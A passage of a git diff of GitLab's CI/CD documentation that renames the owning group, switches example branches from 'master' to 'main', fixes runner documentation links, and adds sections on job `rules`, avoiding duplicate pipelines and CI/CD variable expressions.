read_secrets: - export PASSWORD="$(vault kv get -field=password secret/myproject/production/db)" ``` +NOTE: +If you're using a Vault instance provided by HashiCorp Cloud Platform, +you need to export the `VAULT_NAMESPACE` variable. Its default value is `admin`. +  The following job is able to authenticate using the `myproject-production` role and read secrets under `/secret/myproject/production/`: diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 5a5e44c03bf..5f08f2954f5 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/articles/laravel_with_gitlab_and_envoy/index.html' author: Mehran Rasulian @@ -78,7 +78,7 @@ git init git remote add origin git@gitlab.example.com:<USERNAME>/laravel-sample.git git add . git commit -m 'Initial Commit' -git push -u origin master +git push -u origin main ``` ## Configure the production server @@ -260,7 +260,7 @@ Let's create these three tasks one by one. #### Clone the repository -The first task will create the `releases` directory (if it doesn't exist), and then clone the `master` branch of the repository (by default) into the new release directory, given by the `$new_release_dir` variable. +The first task will create the `releases` directory (if it doesn't exist), and then clone the `main` branch of the repository (by default) into the new release directory, given by the `$new_release_dir` variable. The `releases` directory will hold all our deployments: ```php @@ -378,14 +378,14 @@ These are persistent data and will be shared to every new release. Now, we would need to deploy our app by running `envoy run deploy`, but it won't be necessary since GitLab can handle that for us with CI's [environments](../../environments/index.md), which will be described [later](#setting-up-gitlab-cicd) in this tutorial. -Now it's time to commit [Envoy.blade.php](https://gitlab.com/mehranrasulian/laravel-sample/blob/master/Envoy.blade.php) and push it to the `master` branch. -To keep things simple, we commit directly to `master`, without using [feature-branches](../../../topics/gitlab_flow.md#github-flow-as-a-simpler-alternative) since collaboration is beyond the scope of this tutorial. +Now it's time to commit [Envoy.blade.php](https://gitlab.com/mehranrasulian/laravel-sample/blob/master/Envoy.blade.php) and push it to the `main` branch. +To keep things simple, we commit directly to `main`, without using [feature-branches](../../../topics/gitlab_flow.md#github-flow-as-a-simpler-alternative) since collaboration is beyond the scope of this tutorial. In a real world project, teams may use [Issue Tracker](../../../user/project/issues/index.md) and [Merge Requests](../../../user/project/merge_requests/index.md) to move their code across branches: ```shell git add Envoy.blade.php git commit -m 'Add Envoy' -git push origin master +git push origin main ``` ## Continuous Integration with GitLab @@ -474,7 +474,7 @@ Let's commit the `Dockerfile` file. ```shell git add Dockerfile git commit -m 'Add Dockerfile' -git push origin master +git push origin main ``` ### Setting up GitLab CI/CD @@ -523,7 +523,7 @@ deploy_production: url: http://192.168.1.1 when: manual only: - - master + - main ``` That's a lot to take in, isn't it? Let's run through it step by step. @@ -595,7 +595,7 @@ If the SSH keys have added successfully, we can run Envoy. As mentioned before, GitLab supports [Continuous Delivery](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) methods as well. The [environment](../../yaml/README.md#environment) keyword tells GitLab that this job deploys to the `production` environment. The `url` keyword is used to generate a link to our application on the GitLab Environments page. -The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `master` branch. +The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `main` branch. Lastly, `when: manual` is used to turn the job from running automatically to a manual action. ```yaml @@ -616,7 +616,7 @@ deploy_production: url: http://192.168.1.1 when: manual only: - - master + - main ``` You may also want to add another job for [staging environment](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/), to final test your application before deploying to production. @@ -624,7 +624,7 @@ You may also want to add another job for [staging environment](https://about.git ### Turn on GitLab CI/CD We have prepared everything we need to test and deploy our app with GitLab CI/CD. -To do that, commit and push `.gitlab-ci.yml` to the `master` branch. It will trigger a pipeline, which you can watch live under your project's **Pipelines**. +To do that, commit and push `.gitlab-ci.yml` to the `main` branch. It will trigger a pipeline, which you can watch live under your project's **Pipelines**.  diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 53014585f2e..fc639b19ca0 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index 4a6555a58a6..94cfb8c1c58 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -1,5 +1,6 @@ --- redirect_to: 'README.md#contributed-examples' +remove_date: '2021-06-01' --- This document was moved to [another location](README.md#contributed-examples). diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index 4a6555a58a6..94cfb8c1c58 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -1,5 +1,6 @@ --- redirect_to: 'README.md#contributed-examples' +remove_date: '2021-06-01' --- This document was moved to [another location](README.md#contributed-examples). diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md index 8aa1fb21275..cb4040212ad 100644 --- a/doc/ci/examples/test-clojure-application.md +++ b/doc/ci/examples/test-clojure-application.md @@ -1,5 +1,6 @@ --- redirect_to: 'README.md#contributed-examples' +remove_date: '2021-05-26' --- This document was moved to [another location](README.md#contributed-examples). diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index 01df4f63c92..f0ea5ed582c 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -53,7 +53,7 @@ To make submodules work correctly in CI/CD jobs: 1. Make sure you use [relative URLs](#configure-the-gitmodules-file) for submodules located in the same GitLab server. 1. You can set the `GIT_SUBMODULE_STRATEGY` variable to either `normal` or `recursive` - to tell the runner to [fetch your submodules before the job](runners/README.md#git-submodule-strategy): + to tell the runner to [fetch your submodules before the job](runners/configure_runners.md#git-submodule-strategy): ```yaml variables: diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index 1aa86e0b322..cbf92438488 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -16,7 +16,7 @@ is deployed, some [security precautions](../../administration/integration/termin taken to protect the users. NOTE: -[Shared runners on GitLab.com](../runners/README.md#shared-runners) do not +[Shared runners on GitLab.com](../runners/README.md) do not provide an interactive web terminal. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on adding support. For groups and projects hosted on GitLab.com, interactive web diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index 307dcdf258c..780c5cd7762 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "An overview of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD." type: concepts diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index a20fa1f8aa9..7a57d8abf0d 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -29,7 +29,7 @@ jobs, where each of the jobs executes a different command. Of course a command can execute code directly (`./configure;make;make install`) or run a script (`test.sh`) in the repository. -Jobs are picked up by [runners](../runners/README.md) and executed within the +Jobs are picked up by [runners](../runners/README.md) and executed in the environment of the runner. What is important is that each job is run independently from each other. @@ -136,7 +136,7 @@ In the pipeline, the result is a group named `build ruby` with three jobs: The jobs are ordered by comparing the numbers from left to right. You usually want the first number to be the index and the second number to be the total. -[This regular expression](https://gitlab.com/gitlab-org/gitlab/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99) +[This regular expression](https://gitlab.com/gitlab-org/gitlab/-/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99) evaluates the job names: `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`. One or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences are removed from the **end** of job names only. Matching substrings found at the beginning or in the middle of diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md index 6e9197c223b..d7e192bbfda 100644 --- a/doc/ci/jobs/job_control.md +++ b/doc/ci/jobs/job_control.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -19,6 +19,277 @@ To configure a job to be included or excluded from certain pipelines, you can us Use [`needs`](../yaml/README.md#needs) to configure a job to run as soon as the earlier jobs it depends on finish running. +## Specify when jobs run with `rules` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3. + +Use [`rules`](../yaml/README.md#rules) to include or exclude jobs in pipelines. + +Rules are evaluated in order until the first match. When a match is found, the job +is either included or excluded from the pipeline, depending on the configuration. +See the [`rules`](../yaml/README.md#rules) reference for more details. + +Future keyword improvements are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783), +where anyone can add suggestions or requests. + +### `rules` examples + +The following example uses `if` to define that the job runs in only two specific cases: + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + when: manual + allow_failure: true + - if: '$CI_PIPELINE_SOURCE == "schedule"' +``` + +- If the pipeline is for a merge request, the first rule matches, and the job + is added to the [merge request pipeline](../merge_request_pipelines/index.md) + with attributes of: + - `when: manual` (manual job) + - `allow_failure: true` (the pipeline continues running even if the manual job is not run) +- If the pipeline is **not** for a merge request, the first rule doesn't match, and the + second rule is evaluated. +- If the pipeline is a scheduled pipeline, the second rule matches, and the job + is added to the scheduled pipeline. No attributes were defined, so it is added + with: + - `when: on_success` (default) + - `allow_failure: false` (default) +- In **all other cases**, no rules match, so the job is **not** added to any other pipeline. + +Alternatively, you can define a set of rules to exclude jobs in a few cases, but +run them in all other cases: + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + when: never + - if: '$CI_PIPELINE_SOURCE == "schedule"' + when: never + - when: on_success +``` + +- If the pipeline is for a merge request, the job is **not** added to the pipeline. +- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline. +- In **all other cases**, the job is added to the pipeline, with `when: on_success`. + +WARNING: +If you use a `when:` clause as the final rule (not including `when: never`), two +simultaneous pipelines may start. Both push pipelines and merge request pipelines can +be triggered by the same event (a push to the source branch for an open merge request). +See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines) +for more details. + +### Complex rules + +You can use all `rules` keywords, like `if`, `changes`, and `exists`, in the same +rule. The rule evaluates to true only when all included keywords evaluate to true. + +For example: + +```yaml +docker build: + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + rules: + - if: '$VAR == "string value"' + changes: # Include the job and set to when:manual if any of the follow paths match a modified file. + - Dockerfile + - docker/scripts/* + when: manual + allow_failure: true +``` + +If the `Dockerfile` file or any file in `/docker/scripts` has changed **and** `$VAR` == "string value", +then the job runs manually and is allowed to fail. + +You can use [parentheses](#group-variable-expressions-together-with-parentheses) with `&&` and `||` to build more complicated variable expressions. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3: + +```yaml +job1: + script: + - echo This rule uses parentheses. + rules: + if: ($CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE +``` + +WARNING: +[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938), +rules that use both `||` and `&&` may evaluate with an unexpected order of operations. + +### Avoid duplicate pipelines + +If a job uses `rules`, a single action, like pushing a commit to a branch, can trigger +multiple pipelines. You don't have to explicitly configure rules for multiple types +of pipeline to trigger them accidentally. + +Some configurations that have the potential to cause duplicate pipelines cause a +[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219431) in GitLab 13.3. + +For example: + +```yaml +job: + script: echo "This job creates double pipelines!" + rules: + - if: '$CUSTOM_VARIABLE == "false"' + when: never + - when: always +``` + +This job does not run when `$CUSTOM_VARIABLE` is false, but it *does* run in **all** +other pipelines, including **both** push (branch) and merge request pipelines. With +this configuration, every push to an open merge request's source branch +causes duplicated pipelines. + +To avoid duplicate pipelines, you can: + +- Use [`workflow`](../yaml/README.md#workflow) to specify which types of pipelines + can run. +- Rewrite the rules to run the job only in very specific cases, + and avoid a final `when:` rule: + + ```yaml + job: + script: echo "This job does NOT create double pipelines!" + rules: + - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' + ``` + +You can also avoid duplicate pipelines by changing the job rules to avoid either push (branch) +pipelines or merge request pipelines. However, if you use a `- when: always` rule without +`workflow: rules`, GitLab still displays a [pipeline warning](../troubleshooting.md#pipeline-warnings). + +For example, the following does not trigger double pipelines, but is not recommended +without `workflow: rules`: + +```yaml +job: + script: echo "This job does NOT create double pipelines!" + rules: + - if: '$CI_PIPELINE_SOURCE == "push"' + when: never + - when: always +``` + +You should not include both push and merge request pipelines in the same job without +[`workflow:rules` that prevent duplicate pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines): + +```yaml +job: + script: echo "This job creates double pipelines!" + rules: + - if: '$CI_PIPELINE_SOURCE == "push"' + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' +``` + +Also, do not mix `only/except` jobs with `rules` jobs in the same pipeline. +It may not cause YAML errors, but the different default behaviors of `only/except` +and `rules` can cause issues that are difficult to troubleshoot: + +```yaml +job-with-no-rules: + script: echo "This job runs in branch pipelines." + +job-with-rules: + script: echo "This job runs in merge request pipelines." + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' +``` + +For every change pushed to the branch, duplicate pipelines run. One +branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline +runs the other job (`job-with-rules`). Jobs with no rules default +to [`except: merge_requests`](../yaml/README.md#only--except), so `job-with-no-rules` +runs in all cases except merge requests. + +### Common `if` clauses for `rules` + +For behavior similar to the [`only`/`except` keywords](../yaml/README.md#only--except), you can +check the value of the `$CI_PIPELINE_SOURCE` variable: + +| Value | Description | +|-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | +| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | +| `external` | When you use CI services other than GitLab. | +| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | +| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](../yaml/README.md#trigger) keyword. | +| `push` | For pipelines triggered by a `git push` event, including for branches and tags. | +| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | +| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | +| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | +| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). | + +The following example runs the job as a manual job in scheduled pipelines or in push +pipelines (to branches or tags), with `when: on_success` (default). It does not +add the job to any other pipeline type. + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "schedule"' + when: manual + allow_failure: true + - if: '$CI_PIPELINE_SOURCE == "push"' +``` + +The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md) +and scheduled pipelines. It does not run in any other pipeline type. + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + - if: '$CI_PIPELINE_SOURCE == "schedule"' +``` + +Other commonly used variables for `if` clauses: + +- `if: $CI_COMMIT_TAG`: If changes are pushed for a tag. +- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. +- `if: '$CI_COMMIT_BRANCH == "main"'`: If changes are pushed to `main`. +- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default + branch. Use when you want to have the same configuration in multiple + projects with different default branches. +- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. +- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables) + `CUSTOM_VARIABLE` does **not** match a regular expression. +- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is + exactly `value1`. + +### Variables in `rules:changes` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. + +You can use CI/CD variables in `rules:changes` expressions to determine when +to add jobs to a pipeline: + +```yaml +docker build: + variables: + DOCKERFILES_DIR: 'path/to/files/' + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + rules: + - changes: + - $DOCKERFILES_DIR/* +``` + +You can use the `$` character for both variables and paths. For example, if the +`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the +`$` is interpreted as being part of a path. + ## Specify when jobs run with `only` and `except` You can use [`only`](../yaml/README.md#only--except) and [`except`](../yaml/README.md#only--except) @@ -73,7 +344,7 @@ end-to-end: - $CI_COMMIT_MESSAGE =~ /skip-end-to-end-tests/ ``` -You can use [parentheses](../variables/README.md#parentheses) with `&&` and `||` +You can use [parentheses](#group-variable-expressions-together-with-parentheses) with `&&` and `||` to build more complicated variable expressions: ```yaml @@ -82,9 +353,12 @@ job1: - echo This rule uses parentheses. only: variables: - - ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE + - ($CI_COMMIT_BRANCH == "main" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE ``` +When multiple entries are specified in `only:variables`, the job runs when at least one of them evaluates to `true`. +You can use `&&` in a single entry when multiple conditions must be satisfied at the same time. + ### `only:changes` / `except:changes` examples You can skip a job if a change is detected in any file with a @@ -315,3 +589,114 @@ this feature flag again: ```ruby Feature.enable(:allow_unsafe_ruby_regexp) ``` + +## CI/CD variable expressions + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables) +> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) + +Use variable expressions to control which jobs are created in a pipeline after changes +are pushed to GitLab. You can use variable expressions with: + +- [`rules:if`](../yaml/README.md#rules). +- [`only:variables` and `except:variables`](../yaml/README.md#onlyvariables--exceptvariables). + +For example, with `rules:if`: + +```yaml +job1: + variables: + VAR1: "variable1" + script: + - echo "Test variable comparison + rules: + - if: $VAR1 == "variable1" +``` + +### Compare a variable to a string + +You can use the equality operators `==` and `!=` to compare a variable with a +string. Both single quotes and double quotes are valid. The order doesn't matter, +so the variable can be first, or the string can be first. For example: + +- `if: $VARIABLE == "some value"` +- `if: $VARIABLE != "some value"` +- `if: "some value" == $VARIABLE` + +### Compare two variables + +You can compare the values of two variables. For example: + +- `if: $VARIABLE_1 == $VARIABLE_2` +- `if: $VARIABLE_1 != $VARIABLE_2` + +### Check if a variable is undefined + +You can compare a variable to the `null` keyword to see if it is defined. For example: + +- `if: $VARIABLE == null` +- `if: $VARIABLE != null` + +### Check if a variable is empty + +You can check if a variable is defined but empty. For example: + +- `if: $VARIABLE == ""` +- `if: $VARIABLE != ""` + +### Check if a variable exists + +You can check for the existence of a variable by using just the variable name in +the expression. The variable must not be empty. For example: + +- `if: $VARIABLE` + +### Compare a variable to a regex pattern + +You can do regex pattern matching on variable values with the `=~` and `!~` operators. +Variable pattern matching with regular expressions uses the +[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax). + +Expressions evaluate as `true` if: + +- Matches are found when using `=~`. +- Matches are *not* found when using `!~`. + +For example: + +- `$VARIABLE =~ /^content.*/` +- `$VARIABLE_1 !~ /^content.*/` + +Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a +pattern case-insensitive. For example: `/pattern/i`. + +### Join variable expressions together with `&&` or `||` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0 + +You can join multiple expressions using `&&` (and) or `||` (or), for example: + +- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"` +- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3` +- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3` + +The precedence of operators follows the [Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html), +so `&&` is evaluated before `||`. + +#### Group variable expressions together with parentheses + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. + +You can use parentheses to group expressions together. Parentheses take precedence over +`&&` and `||`, so expressions enclosed in parentheses are evaluated first, and the +result is used for the rest of the expression. + +You can nest parentheses to create complex conditions, and the inner-most expressions +in parentheses are evaluated first. + +For example: + +- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)` +- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` +- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index aff18b0889f..62e9749d959 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -56,7 +56,7 @@ test: > Introduced in GitLab Runner 8.9. -By default, GitLab is configured to use the [`fetch` Git strategy](../runners/README.md#git-strategy), +By default, GitLab is configured to use the [`fetch` Git strategy](../runners/configure_runners.md#git-strategy), which is recommended for large repositories. This strategy reduces the amount of data to transfer and does not really impact the operations that you might do on a repository from CI. @@ -65,7 +65,7 @@ does not really impact the operations that you might do on a repository from CI. > Introduced in GitLab Runner 11.10. -[`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) allows you to +[`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) allows you to control where you clone your sources. This can have implications if you heavily use big repositories with fork workflow. @@ -77,7 +77,7 @@ In such cases, ideally you want to make the GitLab Runner executor be used only for the given project and not shared across different projects to make this process more efficient. -The [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) has to be +The [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) has to be within the `$CI_BUILDS_DIR`. Currently, it is impossible to pick any path from disk. @@ -85,12 +85,12 @@ from disk. > Introduced in GitLab Runner 11.10. -[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) allows you to control +[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) allows you to control whether or not you require the `git clean` command to be executed for each CI job. By default, GitLab ensures that you have your worktree on the given SHA, and that your repository is clean. -[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) is disabled when set +[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) is disabled when set to `none`. On very big repositories, this might be desired because `git clean` is disk I/O intensive. Controlling that with `GIT_CLEAN_FLAGS: -ffdx -e .build/` (for example) allows you to control and disable removal of some @@ -99,7 +99,7 @@ the incremental builds. This has the biggest effect if you re-use existing machines and have an existing worktree that you can re-use for builds. For exact parameters accepted by -[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags), see the documentation +[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags), see the documentation for [`git clean`](https://git-scm.com/docs/git-clean). The available parameters are dependent on Git version. @@ -107,7 +107,7 @@ are dependent on Git version. > [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. -[`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags) allows you +[`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) allows you to modify `git fetch` behavior by passing extra flags. For example, if your project contains a large number of tags that your CI jobs don't rely on, @@ -119,7 +119,7 @@ tags, `--no-tags` can [make a big difference in some cases](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/746). If your CI builds do not depend on Git tags it is worth trying. -See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/README.md#git-fetch-extra-flags) +See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/configure_runners.md#git-fetch-extra-flags) for more information. ## Fork-based workflow diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index a55804432ca..1866b40093a 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, index last_update: 2019-07-03 @@ -70,7 +70,7 @@ build: stage: build script: ./build only: - - master + - main test: stage: test @@ -82,7 +82,7 @@ deploy: stage: deploy script: ./deploy only: - - master + - main ``` #### Excluding certain jobs @@ -100,10 +100,10 @@ Consider the following pipeline, with jobs `A`, `B`, and `C`. Imagine you want: To achieve this, you can configure your `.gitlab-ci.yml` file as follows: -``` yaml +```yaml .only-default: &only-default only: - - master + - main - merge_requests - tags @@ -219,15 +219,15 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix. ### Two pipelines created when pushing to a merge request If you are experiencing duplicated pipelines when using `rules`, take a look at -the [important differences between `rules` and `only`/`except`](../yaml/README.md#avoid-duplicate-pipelines), +the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines), which helps you get your starting configuration correct. If you are seeing two pipelines when using `only/except`, please see the caveats related to using `only/except` above (or, consider moving to `rules`). -It is not possible to run a job for branch pipelines first, then only for merge request -pipelines after the merge request is created (skipping the duplicate branch pipeline). See -the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) for more details. +In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later, +you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines) +after a merge request is open on the branch. ### Two pipelines created when pushing an invalid CI configuration file diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 72603ed94c0..552c007c70d 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 @@ -45,7 +45,7 @@ pipeline for merged results. To enable pipelines for merge results: -- You must have maintainer [permissions](../../../user/permissions.md). +- You must have the [Maintainer role](../../../user/permissions.md). - You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. - You must not be using [fast forward merges](../../../user/project/merge_requests/fast_forward_merge.md) yet. diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index b8ddc547156..7f237655593 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned 